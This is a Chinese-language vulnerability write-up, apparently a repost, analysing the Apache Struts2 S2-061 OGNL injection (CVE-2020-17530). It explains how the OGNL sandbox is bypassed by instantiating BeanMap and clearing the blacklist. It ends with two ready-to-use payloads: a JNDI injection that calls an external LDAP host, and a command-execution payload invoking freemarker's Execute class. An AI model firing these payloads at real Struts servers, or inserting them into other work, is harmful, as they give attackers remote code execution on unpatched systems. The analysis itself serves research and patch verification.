Struts2 s2-061 Poc分析


簡介

Apache Struts2框架是一個用於開發Java EE網絡應用程序的Web框架。Apache Struts於2020年12月08日披露 S2-061 Struts 遠程代碼執行漏洞(CVE-2020-17530),在使用某些tag等情況下可能存在OGNL表達式注入漏洞,從而造成遠程代碼執行,風險極大

分析

第一次比較認真的接觸Ognl語言,下面分析一下Poc過程
環境使用vulhub的s2-059環境即可。但是需要修改一下,在pom中新增一個依賴

        <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.2</version>
        </dependency>

已知Ongl沙盒的限制如下

  1. 無法new一個對象
  2. 無法調用黑名單類和包的方法、屬性
  3. 無法調用靜態方法
  4. 無法直接執行命令
  5. 無法調用方法屬性非public的方法

ognl沒有限制的操作

  1. 對象屬性 setter/getter(public) 賦/取值,可以訪問靜態屬性。
  2. 已實例類的方法調用( OgnlContext 中的對象),不允許調用靜態方法

idea中可以通過ActionContext.actionContext.get()去獲取ognl的context,方便我們調試。

2.1 繞過new創建對象

在context的application中,org.apache.tomcat.SimpleInstanceManager的實例代碼如下,可以實例化一個無參構造函數。

    @Override
    public Object newInstance(String className) throws IllegalAccessException,
            InvocationTargetException, NamingException, InstantiationException,
            ClassNotFoundException, NoSuchMethodException  {
        Class<?> clazz = Thread.currentThread().getContextClassLoader().loadClass(className);
        return prepareInstance(clazz.getConstructor().newInstance());
    }

2.2 獲取ognl context

因為ognl的securityMemberAccess中,存放黑名單,我們需要將黑名單置空,以達到任意調用類的目的。

我們可以看一下org.apache.commons.collections.BeanMap 這個類。這個類存在無參公開的構造方法,可以被上一步繞過限制創建對象使用。

該類將任意對象轉換為類似bean的操作,通過get/set 操作去調用對象的getxxx函數,setxxx函數。

    public Object get(Object name) {
        if ( bean != null ) {
            Method method = getReadMethod( name );

            return method.invoke( bean, NULL_ARGUMENTS );

而ognl的stackValue對象,恰好存在getContext方法,而stackValue我們也可以在context中訪問

BeanMap b = new BeanMap();
b.setBean(ActionContext.actionContext.get().getValueStack());
BeanMap c = new BeanMap();
c.setBean(b.get("context"));

2.3 清空黑名單

同理,我們可以通過beanMap去調用以下方法以置空黑名單

    public void setExcludeProperties(Set<Pattern> excludeProperties) {
        this.excludeProperties = excludeProperties;
    }

    public void setAcceptProperties(Set<Pattern> acceptedProperties) {
        this.acceptProperties = acceptedProperties;
    }

    public void setExcludedClasses(Set<Class<?>> excludedClasses) {
        this.excludedClasses = excludedClasses;
    }
#beanMap.put('excludedClasses',#{})

2.4 利用

ognl中,默認已經無法直接調用諸如Runtime等方法去執行命令,代碼如下

                 AccessibleObjectHandler.class.isAssignableFrom(methodDeclaringClass) ||
                 ClassResolver.class.isAssignableFrom(methodDeclaringClass) ||
                 MethodAccessor.class.isAssignableFrom(methodDeclaringClass) ||
                 MemberAccess.class.isAssignableFrom(methodDeclaringClass) ||
                 OgnlContext.class.isAssignableFrom(methodDeclaringClass) ||
                 Runtime.class.isAssignableFrom(methodDeclaringClass) ||
                 ClassLoader.class.isAssignableFrom(methodDeclaringClass) ||
                 ProcessBuilder.class.isAssignableFrom(methodDeclaringClass) ||
                 AccessibleObjectHandlerJDK9Plus.unsafeOrDescendant(methodDeclaringClass) ) 

但是,被實例化的類中調用上面的危險操作,並不受影響。

既然上一步我們已經置空黑名單,於是可以去找即存在無參構造函數,又可以命令執行的類。

public class Execute implements TemplateMethodModel {
    private static final int OUTPUT_BUFFER_SIZE = 1024;

    public Execute() {
    }

    public Object exec(List arguments) throws TemplateModelException {
        StringBuilder aOutputBuffer = new StringBuilder();
            String aExecute = (String)((String)arguments.get(0));

            Process exec = Runtime.getRuntime().exec(aExecute);
            InputStream execOut = exec.getInputStream();

Poc

這個洞沒那么嚴重,其實就是s2-059繞過,大家別想多

發散思維一下,這個beanMap類似於fastjson的命令執行。所以也可以構造一個jndi注入嘛
com.sun.rowset.JdbcRowSetImpl 也存在無參構造方法
DatasourceName也可以通過beamMap去操作

    public void setDataSourceName(String var1) throws SQLException {
        if (this.getDataSourceName() != null) {
            if (!this.getDataSourceName().equals(var1)) {
                super.setDataSourceName(var1);
                this.conn = null;
                this.ps = null;
                this.rs = null;
            }
        } else {
            super.setDataSourceName(var1);
        }

    }

最后通過getAutoCommit觸發jndi注入

    public boolean getAutoCommit() throws SQLException {
        return this.conn.getAutoCommit();
    }
jndi payload
%{('Powered_by_Unicode_Potats0,enjoy_it').(#UnicodeSec = #application['org.apache.tomcat.InstanceManager']).(#rw=#UnicodeSec.newInstance('com.sun.rowset.JdbcRowSetImpl')).(#rw.setDataSourceName('ldap://192.168.3.254:10086/UnicodeSec')).(#rw.getDatabaseMetaData())}

命令執行payload

%{('Powered_by_Unicode_Potats0,enjoy_it').(#UnicodeSec = #application['org.apache.tomcat.InstanceManager']).(#potats0=#UnicodeSec.newInstance('org.apache.commons.collections.BeanMap')).(#stackvalue=#attr['struts.valueStack']).(#potats0.setBean(#stackvalue)).(#context=#potats0.get('context')).(#potats0.setBean(#context)).(#sm=#potats0.get('memberAccess')).(#emptySet=#UnicodeSec.newInstance('java.util.HashSet')).(#potats0.setBean(#sm)).(#potats0.put('excludedClasses',#emptySet)).(#potats0.put('excludedPackageNames',#emptySet)).(#exec=#UnicodeSec.newInstance('freemarker.template.utility.Execute')).(#cmd={'whoami'}).(#res=#exec.exec(#cmd))}


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM